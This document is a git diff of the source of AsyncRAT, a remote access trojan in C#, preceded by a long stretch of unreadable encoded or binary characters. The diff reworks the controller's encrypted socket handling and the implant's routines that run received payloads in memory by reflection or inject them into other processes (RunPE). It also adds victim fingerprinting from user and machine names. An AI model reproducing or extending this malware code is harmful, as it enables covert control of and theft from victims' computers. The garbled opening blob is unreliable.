zaHU|4;BLV>!FoZ6WS;?)jZZLHuuyQN;BLWs!I4qip+az_;BLWsL5yZ?vS6WLP_SCC zMzBs0Vk8;Cf`Dv_1%rYWg4Kd61#1L%3)TtN3qmYALP4KkvS6X$NWp@5wkZ}|nZWJ3 zM8>B(oL;eS*n?g@VP& zvi^fYss(EV>jWW1!V)YHtWIS~jbNQ1q_Lz}Feq3pSR+^`2I5N^jeHvVrJG=}U{J7Hutu;>5VE9~V1ZzNUzpkTFNjbNQ1K66s#7k5v&vRwH6z}V!@zbwP1~4ogf6-$nb&%g2jSC!D_)8!8$=`%l5?uj6uP= z?%akRj0J+lf^22KsCY3h2q8kG6$XFGgZ{mkHLj z*4M3jtp}|qtY2HLHn(k{?N-|~+Y;Lows&j?Y)5SMwy4k^p(8>^hqkl#vX|Hw+1J`% zvtO`>J7TIvM`5=>T z-I@t^(qqywkWb&5Y!CO+54M-m4-`(MUmz=kPVfM9fvHr8g{JfL0DgbiCBk1K6#BsZ zh$n<_TvRCG&$&**N!g4~qpLki(_k(}QFKjTLke!@(19^r4HEV*6enSz>Rv4Q0)1e^CQifKji zjqEJ|_xaipSt72dOXr+~t4We2u5*F4-(;~PEr@;+P+n#MNlr&_ZLX}rUrByQV?WKS z61dV-Q)_Z(g(iB2R<}||Za)N~2oU;iBXK=3}Df0=Bn|KONM=T|5 z6~|T4a7fB>YX8*~JevI9Bs7O>h5Jx^LfhjI=98emTeF9{Vmi62q>D?)|d^ZkVIG(C<~=%?BEhw_Ys3jK&0|4N>Z zP@$ht`;6MDRYfV7kd&=_NhF6*p;rLEqIMpkLO-Q;n%enQ52fH$-cHJoL^=~H&|Ue7 z+C8e?O~E!*_Ee0Lw^cY>=W#%bO-e+o=QOaEao+Ry9;O1 z@2`NeTei~{A^Zfh2!F16Iu%m`{TvzekqUpP()2fke*N>0vVQavjenF4aoj{7Wc|Kx zKgZ+rQV0D+D}(+w#L(0W^+Vd%kaw-3jK z23Ot46`xHA-rMt~7yTuxjo(C8-hw+q4taw7UscU5nCLlV2ti9xNQT7{;R!BAPq41) z>@64dazowbEvRV&z`dx8h3gnGns(^e!RkPLsvr z37*+D=r$}yJX^J;m>#&Ct@^AOTPB}1`M@1qt69@ewT38UdNwpf(Stas8eGbDZB z3G#m?8wK`3Xo$fRJgEIAl7m$fN8wgHUzIf)6FQyG2yrBsC}K}=nP+-}Nq2RgWR#pc zcz}GIr~j-z`mtGJUTBn7RgA{ZVm!fPVYDth6(5;>WP2<=G{lr(qDIx_yD+lqmOC*z z?^wJl}9g3l$8&JyBN6pOp!OH&BCgFCDtMzSWc$plJRSbWv$J8_xwg1h39dj^sz zhPf*)R9$};MxnLp&b#p52se*3!yRT~Wjs9x^aOtjs|p{3H{!8vW5yu;i*$#o9=-?D zJx3LDsKM->VAU#5g{^x19*m`e9=->!DL6;EaR#$ztkF!BVmK(43lvL&iR7ac`X|3g zx{u)_#cbp4VTR`z>Z@)ViwRj^G`lP4pDt*e)ewE2ZRT)ya0PwrO>3IWFIKG_i`f*~ z{;`-5{{baIfgj`yX|X&&4@{btOV~J!wVXBkAb}=$TmCrQj)~{A4(DuiWTFK|Q%_Bk zLes>}ZRS#(i(z$k^4b_k)r#@>G@h&KG69ET-L}Uk(3jt 0) { - if (BufferRecevied == false) - if (Buffer[0] == 0) + if (ClientBufferRecevied == false) + if (ClientBuffer[0] == 0) { - Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + ClientBuffersize = Convert.ToInt64(Encoding.UTF8.GetString(ClientMS.ToArray())); + ClientMS.Dispose(); + ClientMS = new MemoryStream(); + if (ClientBuffersize > 0) { - Buffer = new byte[Buffersize]; - Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///"); - BufferRecevied = true; + ClientBuffer = new byte[ClientBuffersize]; + Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); + ClientBufferRecevied = true; } } else - await MS.WriteAsync(Buffer, 0, Buffer.Length); + await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length); else { - await MS.WriteAsync(Buffer, 0, Recevied); - if (MS.Length == Buffersize) + await ClientMS.WriteAsync(ClientBuffer, 0, Recevied); + Settings.Received += Recevied; + if (ClientMS.Length == ClientBuffersize) { - try - { - ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(MS.ToArray()), this }); - } - catch (CryptographicException) - { - HandleLogs.Addmsg($"Client {Client.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red); - Settings.Blocked.Add(Client.RemoteEndPoint.ToString().Split(':')[0]); - Disconnected(); - return; - } - Settings.Received += MS.ToArray().Length; - Buffer = new byte[1]; - Buffersize = 0; - MS.Dispose(); - MS = new MemoryStream(); - BufferRecevied = false; + try + { + ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(ClientMS.ToArray()), this }); + } + catch (CryptographicException) + { + HandleLogs.Addmsg($"Client {ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red); + Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); + Disconnected(); + return; + } + ClientBuffer = new byte[1]; + ClientBuffersize = 0; + ClientMS.Dispose(); + ClientMS = new MemoryStream(); + ClientBufferRecevied = false; } else - Buffer = new byte[Buffersize - MS.Length]; + ClientBuffer = new byte[ClientBuffersize - ClientMS.Length]; } - Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); + ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null); } else { @@ -117,21 +119,26 @@ namespace AsyncRAT_Sharp.Sockets public void Disconnected() { - if (LV != null) - { - if (Program.form1.listView1.InvokeRequired) - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => - { - LV.Remove(); - })); - lock (Settings.Online) - Settings.Online.Remove(this); - } try { - MS?.Dispose(); - Client?.Dispose(); + if (LV != null) + { + if (Program.form1.listView1.InvokeRequired) + Program.form1.listView1.BeginInvoke((MethodInvoker)(() => + { + LV.Remove(); + })); + lock (Settings.Online) + Settings.Online.Remove(this); + } + } + catch { } + + try + { + ClientMS?.Dispose(); + ClientSocket?.Dispose(); } catch { } } @@ -140,7 +147,12 @@ namespace AsyncRAT_Sharp.Sockets { lock (SendSync) { - if (!Client.Connected) + if (ClientSocket == null) + { + Disconnected(); + return; + } + if (!ClientSocket.Connected) { Disconnected(); return; @@ -148,16 +160,12 @@ namespace AsyncRAT_Sharp.Sockets try { - using (MemoryStream MEM = new MemoryStream()) - { - byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs); - byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); - MEM.Write(buffersize, 0, buffersize.Length); - MEM.Write(buffer, 0, buffer.Length); - Client.Poll(-1, SelectMode.SelectWrite); - Client.BeginSend(MEM.ToArray(), 0, (int)MEM.Length, SocketFlags.None, EndSend, null); - Settings.Sent += (long)MEM.Length; - } + byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs); + byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); + + ClientSocket.Poll(-1, SelectMode.SelectWrite); + ClientSocket.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null); + ClientSocket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null); } catch { @@ -170,14 +178,20 @@ namespace AsyncRAT_Sharp.Sockets public void EndSend(IAsyncResult ar) { - try + lock (EndSendSync) { - Client.EndSend(ar); - } - catch - { - Disconnected(); - return; + try + { + int sent = 0; + sent = ClientSocket.EndSend(ar); + Debug.WriteLine("/// Server Sent " + sent.ToString() + " Bytes ///"); + Settings.Sent += sent; + } + catch + { + Disconnected(); + return; + } } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index 0f4f881..96383b7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Sockets SendTimeout = -1, }; Server.Bind(IpEndPoint); - Server.Listen(20); + Server.Listen(30); HandleLogs.Addmsg($"Listenning {port}", Color.Green); Server.BeginAccept(EndAccept, null); } diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index e8f593b..95415b6 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -70,7 +70,8 @@ - + + diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs index ad255bc..f21df47 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs @@ -54,11 +54,11 @@ namespace Client.Handle_Packet Thread thread = null; if (Injection.Length == 0) { - thread = new Thread(new ParameterizedThreadStart(SendFile.SendToMemory)); + thread = new Thread(new ParameterizedThreadStart(SendToMemory.Reflection)); } else { - thread = new Thread(new ParameterizedThreadStart(SendFile.RunPE)); + thread = new Thread(new ParameterizedThreadStart(SendToMemory.RunPE)); } thread.Start(parameters); } diff --git a/AsyncRAT-C#/Client/Handle Packet/SendFile.cs b/AsyncRAT-C#/Client/Handle Packet/SendToMemory.cs similarity index 94% rename from AsyncRAT-C#/Client/Handle Packet/SendFile.cs rename to AsyncRAT-C#/Client/Handle Packet/SendToMemory.cs index 4eb2205..18faaf3 100644 --- a/AsyncRAT-C#/Client/Handle Packet/SendFile.cs +++ b/AsyncRAT-C#/Client/Handle Packet/SendToMemory.cs @@ -5,9 +5,9 @@ using System.Runtime.InteropServices; namespace Client.Handle_Packet { - class SendFile + class SendToMemory { - public static void SendToMemory(object obj) + public static void Reflection(object obj) { object[] Obj = (object[])obj; byte[] Buffer = (byte[])Obj[0]; diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs new file mode 100644 index 0000000..c1619b6 --- /dev/null +++ b/AsyncRAT-C#/Client/Helper/Methods.cs @@ -0,0 +1,30 @@ +using System; +using System.Security.Cryptography; +using System.Text; + +namespace Client.Helper +{ + static class Methods + { + public static string HWID() + { + StringBuilder sb = new StringBuilder(); + sb.Append(Environment.UserDomainName); + sb.Append(Environment.UserName); + sb.Append(Environment.MachineName); + sb.Append(Environment.Version); + return GetHash(sb.ToString()); + } + + public static string GetHash(string strToHash) + { + MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider(); + byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash); + bytesToHash = md5Obj.ComputeHash(bytesToHash); + StringBuilder strResult = new StringBuilder(); + foreach (byte b in bytesToHash) + strResult.Append(b.ToString("x2")); + return strResult.ToString().Substring(0, 12).ToUpper(); + } + } +} diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index ad0baf3..fdffdeb 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -8,6 +8,7 @@ using System.Text; using System.Threading; using System.Security.Cryptography; using Client.Handle_Packet; +using Client.Helper; namespace Client.Sockets { @@ -22,6 +23,7 @@ namespace Client.Sockets private static Timer Tick { get; set; } private static MemoryStream MS { get; set; } private static object SendSync { get; set; } + private static object EndSendSync { get; set; } public static bool Connected { get; set; } public static void InitializeClient() @@ -44,6 +46,7 @@ namespace Client.Sockets BufferRecevied = false; MS = new MemoryStream(); SendSync = new object(); + EndSendSync = new object(); BeginSend(SendInfo()); TimerCallback T = CheckServer; Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000)); @@ -52,7 +55,6 @@ namespace Client.Sockets catch { Debug.WriteLine("Disconnected!"); - Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000)); Connected = false; } } @@ -76,7 +78,7 @@ namespace Client.Sockets { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; - msgpack.ForcePathObject("HWID").AsString = HWID(); + msgpack.ForcePathObject("HWID").AsString = Methods.HWID(); msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); @@ -85,28 +87,7 @@ namespace Client.Sockets return msgpack.Encode2Bytes(); } - private static string HWID() - { - StringBuilder sb = new StringBuilder(); - sb.Append(Environment.UserDomainName); - sb.Append(Environment.UserName); - sb.Append(Environment.MachineName); - sb.Append(Environment.Version); - return GetHash(sb.ToString()); - } - - private static string GetHash(string strToHash) - { - MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider(); - byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash); - bytesToHash = md5Obj.ComputeHash(bytesToHash); - StringBuilder strResult = new StringBuilder(); - foreach (byte b in bytesToHash) - strResult.Append(b.ToString("x2")); - return strResult.ToString().Substring(0, 12).ToUpper(); - } - - public static void ReadServertData(IAsyncResult ar) + public static void ReadServertData(IAsyncResult Iar) { try { @@ -116,14 +97,14 @@ namespace Client.Sockets return; } - int Recevied = Client.EndReceive(ar); + int Recevied = Client.EndReceive(Iar); if (Recevied > 0) { if (BufferRecevied == false) if (Buffer[0] == 0) { Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); - Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///"); + Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0) @@ -168,24 +149,14 @@ namespace Client.Sockets { lock (SendSync) { - if (!Client.Connected) - { - Connected = false; - return; - } - try { - using (MemoryStream MS = new MemoryStream()) - { - byte[] buffer = Settings.aes256.Encrypt(Msg); - byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); - MS.Write(buffersize, 0, buffersize.Length); - MS.Write(buffer, 0, buffer.Length); + byte[] buffer = Settings.aes256.Encrypt(Msg); + byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); - Client.Poll(-1, SelectMode.SelectWrite); - Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null); - } + Client.Poll(-1, SelectMode.SelectWrite); + Client.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null); + Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null); } catch { @@ -197,14 +168,19 @@ namespace Client.Sockets public static void EndSend(IAsyncResult ar) { - try + lock (EndSendSync) { - Client.EndSend(ar); - } - catch - { - Connected = false; - return; + try + { + int sent = 0; + sent = Client.EndSend(ar); + Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///"); + } + catch + { + Connected = false; + return; + } } }